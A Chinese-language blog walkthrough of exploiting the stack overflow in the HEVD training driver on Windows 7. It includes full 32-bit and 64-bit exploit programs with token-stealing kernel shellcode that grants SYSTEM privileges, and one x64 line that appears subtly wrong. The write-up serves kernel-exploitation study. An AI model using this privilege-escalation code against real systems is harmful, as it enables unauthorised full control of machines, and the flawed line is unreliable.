BufferOverflowStack
之前学了一下CVE-2014-4113的exp,想了想还是先来学习一下内核提权的靶场吧
0x01 工具下载
https://github.com/hacksysteam/HackSysExtremeVulnerableDriver
HEVD源码和exp
https://docs.microsoft.com/en-us/sysinternals/downloads/debugview
用于查看内核输出的
还有一些常用的:
驱动加载的工具,这个各位师傅可以按照喜好下载,有很多
IDA6.8
windbg 建议不要用预览版,有点坑,老版本除了UI不好看别的都还可以的
0x02 安装HEVD
https://github.com/hacksysteam/HackSysExtremeVulnerableDriver
这里包含着HEVD的源码,和所有漏洞的exp,不过exp只有32位的
编译好的HEVD可以在release中下载
这里用的32位和64位系统都是windows7,关于双机调试的配置可以去看CVE-2014-4113的那篇文章
系统镜像也是相同的
下载好驱动后使用驱动加载的工具将HEVD加载就可以
注意驱动的位数要对应系统的位数,位数不同会加载失败
驱动加载的工具我用的是InstDrv
这里先用32位的演示一下
debugview和InstDrv都需要以管理员身份打开
这些选项要打开
在安装->启动后debugview输出这些就表示加载成功了
下面可以开始溢出了
0x03 栈溢出
这里可以使用pattern_create.rb生成溢出字符找到偏移
这个文件kali自带
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb
可以复制到根目录
1
| ./pattern_create.rb -l 3000
|
生成一堆字符串
逆向一下可以看到控制码为0x222003
关于控制码准备再起一篇文章写
那么先写一个测试的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| #include <stdio.h> #include <Windows.h>
void main(char* argc, char* argv[]) { char* Buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah...................."; HANDLE hDevice; DWORD dwRet = 0;
hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL) { printf("[-] GetDriver fail!\n"); return; } printf("[+] GetDriver Success!\n");
DeviceIoControl(hDevice, 0x222003, Buffer, strlen(Buffer), NULL, 0, &dwRet, 0); }
|
然后配置一下windbg
先把HEVD.sys加载了
然后将HEVD的符号表放入存符号表的文件夹
这里最好是创建一个新的文件夹
1 2 3
| .sympath d:\symbolsss;srv*D:\symbolsss*https://msdl.microsoft.com/download/symbols //HEVD.pdb放入d:\symbolsss .reload
|
有点坑的windbg重启之后不知道为什么就加载不到HEVD.pdb了,又要重新整一次
然后找到这次的漏洞点打上断点
1
| ba e1 HEVD!TriggerBufferOverflowStack
|
在windows7中执行上面的测试程序
走到断点然后一直F10走到ret
可以看到走到了72433372地址
1
| ./pattern_offset.rb -q 72433372 -l 3000
|
得到溢出的偏移是2080
这时候就可以重新构造exp了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| #include <stdio.h> #include <Windows.h>
void GetSystemToken() { __asm { pushad; 保存寄存器
xor eax, eax ; eax置零 mov eax, fs: [eax + 124h] ; 获取 nt!_KPCR.PcrbData.CurrentThread mov eax, [eax + 050h] ; 获取 nt!_KTHREAD.ApcState.Process mov ecx, eax ; 将本进程EPROCESS地址复制到ecx mov edx, 4 ; WIN 7 SP1 SYSTEM process PID = 0x4
SearchSystemPID: mov eax, [eax + 0b8h]; 获取 nt!_EPROCESS.ActiveProcessLinks.Flink sub eax, 0b8h cmp[eax + 0b4h], edx; 获取 nt!_EPROCESS.UniqueProcessId jne SearchSystemPID; 循环检测是否是SYSTEM进程PID
mov edx, [eax + 0f8h]; 获取System进程的Token mov[ecx + 0f8h], edx; 将本进程Token替换为SYSTEM进程 nt!_EPROCESS.Token
popad; 恢复寄存器
xor eax, eax; eax置零 add esp, 12 pop ebp ret 8 }
}
void main(char* argc, char* argv[]) { char Buffer[2084]; HANDLE hDevice; DWORD dwRet = 0;
hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL) { printf("[-] GetDriver fail!\n"); return; } printf("[+] GetDriver Success!\n");
memset(Buffer, 'A', 2084); *(PDWORD)(Buffer + 2080) = (DWORD)&GetSystemToken;
DeviceIoControl(hDevice, 0x222003, Buffer, 2084, NULL, 0, &dwRet, 0); STARTUPINFOA si; PROCESS_INFORMATION pi;
if (argv[1]) { si = { 0 }; pi = { 0 }; si.cb = sizeof(si); si.dwFlags = 1; si.wShowWindow = 0; CreateProcessA(NULL, argv[1], NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi); WaitForSingleObject(pi.hProcess, 0x10000); }
}
|
这里主要还是参考跳跳糖的一篇文章,文章的网址放在最后
下面来看看exp
因为要覆盖的地址在2080之后所以要先创建一个2084的数组
CreateFileA得到驱动的句柄
memset用A填充Buffer
在2080之后的四字节改为指向提权函数的指针,也就是ret的位置
DeviceIoControl将Buffer复制到内核实现栈溢出
再来看看提权函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| void GetSystemToken() { __asm { pushad; 保存寄存器
xor eax, eax ; eax置零 mov eax, fs: [eax + 124h] ; 获取 nt!_KPCR.PcrbData.CurrentThread mov eax, [eax + 050h] ; 获取 nt!_KTHREAD.ApcState.Process mov ecx, eax ; 将本进程EPROCESS地址复制到ecx mov edx, 4 ; WIN 7 SP1 SYSTEM process PID = 0x4
SearchSystemPID: mov eax, [eax + 0b8h]; 获取 nt!_EPROCESS.ActiveProcessLinks.Flink sub eax, 0b8h cmp[eax + 0b4h], edx; 获取 nt!_EPROCESS.UniqueProcessId jne SearchSystemPID; 循环检测是否是SYSTEM进程PID
mov edx, [eax + 0f8h]; 获取System进程的Token mov[ecx + 0f8h], edx; 将本进程Token替换为SYSTEM进程 nt!_EPROCESS.Token
popad; 恢复寄存器
xor eax, eax; eax置零 add esp, 12 pop ebp ret 8 }
}
|
这里注释基本都是那篇文章上的
其实和MS14-058差不多
遍历PID找到PID=4的System进程,把Token复制到当前进程实现提权
需要注意的就是最后堆栈平衡的步骤,怎么在溢出之后回到原来的EIP是关键
先来看一下调用栈
可以看到在进入TriggerBufferOverflowStack之前还要经过BufferOverflowStackIoctlHandler
其实这里是直接把BufferOverflowStackIoctlHandler的返回地址提上来了
正常来说应该是
1 2 3 4 5
| IrpDeviceIoCtlHandler 调用BufferOverflowStackIoctlHandler BufferOverflowStackIoctlHandler 调用TriggerBufferOverflowStack TriggerBufferOverflowStack 返回BufferOverflowStackIoctlHandler BufferOverflowStackIoctlHandler 返回IrpDeviceIoCtlHandler IrpDeviceIoCtlHandler
|
提升堆栈后
1 2 3 4 5
| IrpDeviceIoCtlHandler 调用BufferOverflowStackIoctlHandler BufferOverflowStackIoctlHandler 调用TriggerBufferOverflowStack TriggerBufferOverflowStack 返回IrpDeviceIoCtlHandler 直接跳过BufferOverflowStackIoctlHandler IrpDeviceIoCtlHandler
|
先观察BufferOverflowStackIoctlHandler函数
可以看到最上面有push ebp
这也是最后提权函数pop ebp恢复的值
下面的push是参数然后call TriggerBufferOverflowStack
再来看看提权函数在内存中的样子
可以看到在最上面多了几个push,这几个push在__asm中没有写
说明是编译器自动添加的,看来__asm的汇编也不是和看到的完全一样
这也是最后需要add esp,12的原因,要把这多的push去掉
第一个箭头就是前面push ebp的值,pop回来恢复ebp
第二个箭头也就是后面的ret要跳到的地址是call BufferOverflowStackIoctlHandler的下一条汇编语句
第三个箭头就是TriggerBufferOverflowStack的参数Address和size_t
用ret 8将参数拿出去,这样至少栈顶是平衡了
这里再多说一点,本来ebp是正常的,因为在TriggerBufferOverflowStack的最后出现了leave
1 2 3
| leave等价于 mov esp,ebp pop ebp
|
此时栈里面已经都是A了,这么执行后ebp就变成41414141了
这也就是要pop ebp的原因了
64位就么有这种问题了
其实到这里32位的已经差不多了,感觉32位的难点就在堆栈平衡这里,别的就是普通的栈溢出
其实细心的师傅也应该发现了,pop的ebp肯定和正常的ebp不一样的只能说勉强能用了
因为有些时候实在不能完美恢复堆栈啊寄存器这些所以内核提权导致蓝屏也是没办法的
不要多用会好一点,你也不知道哪次用了内核就炸了
这里再多提一种看溢出位置方法,直接ida看缓冲区
可以看到缓冲区是-81c到-1c是0x800字节,return在正4
81c+4=820,所以0x820后面的四字节是返回地址
不过这种想用啥就用啥了也没事
0x04 x64
x64用的fastcall堆栈稍微友好一点
不过要编写exp只能用单独的汇编文件了
需要注意一下64位的指针是8字节的
这里偷懒直接用ida看了
缓冲区到return是0x818字节
指针是8字节所以0x818后面的8字节是ret地址
需要一个0x820的Buffer
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| #include <stdio.h> #include <Windows.h>
extern "C" void GetSystemToken();
void main(char* argc, char* argv[]) { char Buffer[0x820]; HANDLE hDevice; DWORD dwRet = 0;
hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL) { printf("[-] GetDriver fail!\n"); return; } printf("[+] GetDriver Success!\n"); printf("[+] Token:%p\n", &GetSystemToken); memset(Buffer, 'A', 0x820); *(PINT64)(Buffer + 0x818) = (INT64)&GetSystemToken; DeviceIoControl(hDevice, 0x222003, Buffer, 0x820, NULL, 0, &dwRet, 0); STARTUPINFOA si; PROCESS_INFORMATION pi;
if (argv[1]) { si = { 0 }; pi = { 0 }; si.cb = sizeof(si); si.dwFlags = 1; si.wShowWindow = 0; CreateProcessA(NULL, argv[1], NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi); WaitForSingleObject(pi.hProcess, 0x10000); }
}
|
提权函数需要汇编来写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| .DATA ;数据段 .CODE ;代码段 GetSystemToken PROC ;定义函数,函数名和cpp文件内声明函数一样
push rax push rcx push rdx ;保存寄存器
xor rax, rax mov rax, gs: [rax + 188h]; 获取 nt!_KPCR.PcrbData.CurrentThread mov rax, [rax + 070h]; 获取 nt!_KTHREAD.ApcState.Process mov rcx, rax; 将本进程EPROCESS地址复制到rcx mov rdx, 4;
SearchSystemPID: mov rax, [rax + 0188h]; 获取 nt!_EPROCESS.ActiveProcessLinks.Flink sub rax, 0188h cmp [rax + 0180h], rdx; 获取 nt!_EPROCESS.UniqueProcessId jne SearchSystemPID; 循环检测是否是SYSTEM进程PID
mov rdx, [rax + 0208h]; 获取System进程的Token mov[rcx + 0208h], edx; 将本进程Token替换为SYSTEM进程 nt!_EPROCESS.Token
pop rdx ;恢复寄存器 pop rcx pop rax
add rsp, 40 ; 恢复堆栈 xor rax, rax ; 返回状态 SUCCEESS ret ;` GetSystemToken ENDP; END
|
除了寄存器不一样还有结构的偏移有区别,还有64位中无pushad函数,所以只能把需要用到的寄存器push进去最后在pop出来
64位写汇编可以参考RtlReportSilentProcessExit dump Lsass.exe这篇文章
堆栈平衡可以执行了之后看了再说
可以看到要返回的地址在esp+0x28的位置
因为前面也没有leave不需要修复rbp所以直接把加就好
同时因为fastcall的原因ret也不要去掉参数,因为参数都在寄存器
多的也没什么好说的了
其实这种东西最好还是复现一下
第一眼看到汇编的时候感觉懂了,在真正调的时候还是有很多疑问的,像堆栈平衡啥的看看可以很清晰
源码都传github了
https://github.com/Macchiatosheep/HEVD/tree/main/TriggerBufferOverflowStack
0x05 参考
https://tttang.com/archive/1332/
https://www.kn0sky.com/?p=184